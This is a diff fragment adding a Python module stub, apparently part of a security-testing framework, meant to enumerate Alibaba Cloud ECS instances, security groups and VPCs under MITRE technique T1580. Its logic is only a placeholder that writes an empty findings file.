|
+
"side_effects": ["api_calls"],
|
|
13
|
+
"output_schema": "xpl.finding.v1",
|
|
14
|
+
"mitre": ["T1580"],
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
|
|
18
|
+
def run(args: Any) -> int:
|
|
19
|
+
"""Execute Enumerate Alibaba ECS instances, security groups, VPCs."""
|
|
20
|
+
import json
|
|
21
|
+
import sys
|
|
22
|
+
from datetime import datetime, timezone
|
|
23
|
+
from pathlib import Path
|
|
24
|
+
|
|
25
|
+
print(f"[*] {MANIFEST['capability_id']} starting...")
|
|
26
|
+
print(f"[*] Target: {getattr(args, 'target', 'N/A')}")
|
|
27
|
+
|
|
28
|
+
findings: list[dict] = []
|
|
29
|
+
|
|
30
|
+
# --- Module logic placeholder ---
|
|
31
|
+
# TODO: implement provider-specific API calls
|
|
32
|
+
print("[!] Module stub — implement provider-specific logic")
|
|
33
|
+
|
|
34
|
+
ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
|
|
35
|
+
out_dir = Path(getattr(args, "output", "."))
|
|
36
|
+
out_dir.mkdir(parents=True, exist_ok=True)
|
|
37
|
+
out_file = out_dir / f"{MANIFEST['capability_id'].rsplit('.', 1)[-1]}_{ts}.json"
|
|
38
|
+
out_file.write_text(json.dumps({"module": MANIFEST["capability_id"], "timestamp": ts, "findings": findings}, indent=2))
|
|
39
|
+
print(f"[+] Results saved to {out_file}")
|
|
40
|
+
return 0
|